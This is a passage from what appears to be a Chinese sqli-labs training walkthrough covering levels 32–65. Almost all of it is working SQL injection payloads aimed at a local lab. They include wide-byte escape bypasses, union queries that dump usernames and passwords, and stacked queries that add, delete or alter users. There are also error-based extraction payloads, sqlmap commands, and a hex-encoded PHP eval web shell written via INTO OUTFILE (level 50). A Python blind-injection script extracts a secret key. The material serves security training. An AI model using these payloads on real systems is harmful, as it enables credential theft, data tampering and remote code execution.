$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
功能是将\替换成\\,将'和"分别替换成\'和\"
注入:?id=1%df%27
发现闭合方式为'
依次注入:
?id=1%df'%20and%201=1--+
?id=1%df'%20and%201=2--+
?id=1%df'%20order%20by%203--+
?id=1%df'%20order%20by%204--+
?id=-1%df'%20union%20select%201,2,3--+
发现回显点2和3,给出最终payload:
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
Less-33
这关和上一关的区别是使用addslashes()函数过滤,它不仅能转义单引号、双引号和反斜杠,还能 对NUL 字符进行转义(即 ASCII为0)也就是%00会被转义。
注入:?id=1%df%27
看出闭合方式为' ,payload与上一关一样。
Less-34
这关是POST请求,post型相比于get型少了url编码,这里采用一种新方法,使用三个字节的汉字将反斜杠消耗
passwd=admin&submit=Submit&uname=admin汉'
从报错信息可以看出闭合方式为'
依次注入:
passwd=admin&submit=Submit&uname=admin汉' order by 3#
passwd=admin&submit=Submit&uname=admin汉' order by 2#
passwd=admin&submit=Submit&uname=admin汉' union select 1,2#
出现回显点1和2,最终payload:
passwd=admin&submit=Submit&uname=admin汉' union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)#
Less-35
这关是数字型注入,直接
?id=1%20order%20by%203--+
?id=1%20order%20by%204--+
?id=-1%20union select 1,2,3--+
发现回显点2和3,最终payload:
?id=-1%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
Less-36
本关的过滤函数为mysqli_real_escape_string,和addslashes函数功能差不多。
?id=1%df%27
?id=1%df%27%20order%20by%203--+
?id=1%df%27%20order%20by%204--+
?id=-1%df%27%20union select 1,2,3--+
发现回显点2和3,最终payload:
?id=-1%df%27%20union select 1,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
Less-37
POST请求,用的是mysqli_real_escape_string函数绕过和34关步骤相同。
第三部分(Less-38~53)
Less-38(堆叠注入)
mysqli_multi_query()这个函数可以实现针对数据库一条或多多条数据的操作,这就导致可能产生堆叠注入的存在,堆叠注入的危害比普通爆破更为强烈,可以实现数据的增删改查,木马的写入,甚至直接破环升格数据库。
和union联合注入的区别:堆叠注入可以实现包括但不限于select的SQL语句,而union联合注入只能使用select语句。
?id=1%27
闭合方式为',这里利用堆叠注入在表中插入数据
?id=1%27;insert%20into%20users(id,username,password)values(38,%27ikun%27,%27jinitaimei%27)--+
Less-39
数字型注入,利用堆叠注入删除用户:
?id=1;delete from users where username='ikun'--+
Less-40
没有报错信息注入:
?id=1%27)%20and%201=1--+
?id=1%27)%20and%201=2--+
发现注入点,闭合方式为'),大家自行爆破表信息后,同样可以用堆叠注入来改密码:
?id=1');update users set password='IKUN' where username='Dumb'--+
Less-41
数字型注入 ,同样用union联合注入获取表、列信息后使用堆叠注入更改用户名:
?id=1;update users set username='caixukun' where username='Dumb'--+
Less-42
账户登录页面写入'存在SQL报错,用之前的方法查询表、列信息后,使用堆叠注入创建用户:
login_password=123456';insert%20into%20users(id,username,password)values(42,%27ikun%27,%27jinitaimei%27)#&login_user=admin&mysubmit=Login
Less-43
与上一关步骤相同,只是闭合方式变成')
Less-44
没有报错信息,利用盲注:
login_password=admin1' and 1=1#&login_user=admin1&mysubmit=Login
login_password=admin1' and 1=2#&login_user=admin1&mysubmit=Login
发现注入点,爆破数据库长度:
login_password=admin1' and length(database())=8#&login_user=admin1&mysubmit=Login
直接sqlmap:
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-44/" --forms --dbs --batch
用sqlmap获取表、列信息后,可以使用堆叠注入删除用户:
login_password=admin1';delete from users where username='ikun'#&login_user=admin1&mysubmit=Login
Less-45
和上一关一样只是将闭合方式换成')
Less-46(order by注入)
order by注入
- 有SQL报错优先选择报错注入
- 由于order by rand(true)和order by rand(false)的回显结果不同,可以在rand函数中进行盲注
注入:?sort=1'
从报错信息判断是数字型注入
?sort=1%20and%20updatexml(1,0x7e,1)
发现注入点
爆表:
?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)
爆列:
?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27)),1)
脱库
?sort=1%20and%20updatexml(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)),1)
Less-47
?sort=1%27
看出闭合方式为'
爆表:
?sort=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)--+
爆列:
?sort=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27)),1)--+
脱库
?sort=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)),1)--+
Less-48
这关没有报错信息,尝试注入:?sort=rand(true)
注入:?sort=rand(false)
发现为数字型注入,使用sqlmap:
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-48/?sort=1" --batch
Less-49
同样没有报错回显,只能采用盲注分别注入:
?sort=%27|rand(true)--+
?sort=%27|rand(false)--+
发现排序不一样,判断闭合方式为',注入点在rand函数内,使用sqlmap:
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-49/?sort=1" --batch
Less-50
注入:?sort='
通过报错信息判断为数字型注入,这关还存在堆叠注入,利用堆叠注入写入密码:
?sort=1;select 0x3c3f70687020406576616c28245f504f53545b27636d64275d29203f3e%20into outfile
'X:/phpstudy_pro/WWW/sqli-labs-master/Less-50/shell.php'--+
0x3c...是<?php @eval($_POST['cmd']) ?>转十六进制的结果,要将payload中路径改成自己电脑上的绝对路径。
Less-51
从报错信息可以看出闭合方式为',步骤和47关一样,只是这关新增了堆叠注入。
例如,增加新用户:
?sort=%27;insert%20into%20users%20(id,username,password)%20values(51,%27IKUN%27,%27IKUN%27)--+
Less-52
这关没有报错信息得使用盲注,尝试注入:
?sort=rand(true)
?sort=rand(false)
两次的回显不同,说明是数字型注入,使用sqlmap:
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-52/?sort=1" --batch
获取表、列的相关信息后使用堆叠注入:
?sort=1;insert%20into%20users%20(id,username,password)%20values(52,%27IKUN%27,%27IKUN%27)--+
Less-53
和上一关唯一不一样的是闭合方式变成',可以尝试以下两次注入判断:
?sort=%27|rand(false)--+
?sort=%27|rand(true)--+
其他与上一关相同
第四部分(Less-54~65)
Less-54
要在challenge库中破解密钥。但只能尝试10次,每尝试10次表名,列名,密钥会强制更换。
?id=1%20and%201=2--+
?id=1%27%20and%201=2--+
?id=1%27%20and%201=1--+
发现注入点
?id=1%27%20order%20by%203--+
?id=1%27%20order%20by%204--+
?id=-1%27%20union%20select%201,2,3--+
发现回显点
?id=-1%27%20union%20select%201,user(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
?id=-1%27%20union%20select%201,user(),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name='qlt4io3d60')--+
?id=-1%27%20union%20select%201,user(),group_concat(secret_YNZ6)%20from%20qlt4io3d60--+
将密钥放到密钥输入框提交即可
Less-55
这一关是带括号的数字型注入,在寻找注入点时多尝试即可,思路和上一关一样,可尝试次数增加到14次。
Less-56
闭合方式为'),同样只能尝试14次。
Less-57
闭合方式为",同样最多尝试14次。
Less-58
要求注入次数最大为5次,只能是报错注入能做到:
?id=1'
由报错信息判断闭合方式为'
?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())))--+
?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27wekchgtei6%27)))--+
?id=1%27%20and%20extractvalue(1,concat(0x7e,(select group_concat(secret_42Z2) from wekchgtei6)))--+
提交密钥
Less-59
和上一关一样采用报错注入,唯一不同的是这关为数字型注入,通过报错信息能判断,注入次数最多为5次。
Less-60
和58关一样,闭合方式变为")
Less-61
和58关一样,闭合方式为'))
Less-62
这里考验盲注,要求最大尝试次数为130次,可以通过每次不带cookie来绕过这个要求,也可以通过改进算法来实现次数尽可能小的盲注,感兴趣的强烈推荐看这篇文章sqli-labs靶场Less-62题解(少于130次) - 简书
这里也是直接把其中最终版的脚本代码发出来:
import re
import requests
url = "http://127.0.0.1/sqli-labs/Less-62" # 改成你的地址
try_count = 0
def extract_bits(query, i, bit_values: list):
"""
获取query执行结果的第 i 个(从1开始算)字符的3个比特
哪3个比特由bit_values指定
"""
global try_count
assert len(bit_values) == 8
bit_marks = 0
for v in bit_values:
bit_marks |= v
############################### 改payload在这 ############################################################################
payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)
resp = requests.get(url, params={"id": payload})
try_count += 1
infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
assert match.group(1) in infos
bits = bit_values[infos.index(match.group(1))]
return bits
def extract_data(query, length):
"""
获取query查询结果的length个字符,每个字符只获取其第7位和前5位
"""
res = ""
for i in range(1, length+1):
b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111
b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000
if b1 & 0b01000000 == 0:
# 该字符为数字
bit = b1 | b2 | 0b00100000
else:
# 该字符为字母
bit = b1 | b2
res += chr(bit)
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
print("secret_key:", secret_key)
print("Done. try_count:", try_count)
判断闭合方式,尝试注入:
?id=2%27)%20and%201=1--+
?id=2%27)%20and%201=2--+
发现注入点,闭合方式为')
根据代码中的payload代入,最终写入到SQL语句中就是...where id=(''+(select语句)+'')
执行时select语句加上两个空字符还是它本身。
直接运行:
Less-63
和上一关不同的是闭合方式变成',将url改成这一关之后,直接运行脚本。
Less-64
这一关的闭合方式是)),需要将payload前后的'+删去,将url改为这一关,运行脚本:
Less-65
闭合方式为"),只需将payload前后的'变成",运行脚本:
总结
本文通过sqli-labs靶场实战展示了sql注入的一般方法,并举例说明sqlmap在靶场中的使用,同时还提供了几个脚本供大家参考。第一次写这么多字的文章,有很多不足希望大家谅解,也欢迎大家在评论区提问讨论。(创作不易点个赞吧( ̄┰ ̄*))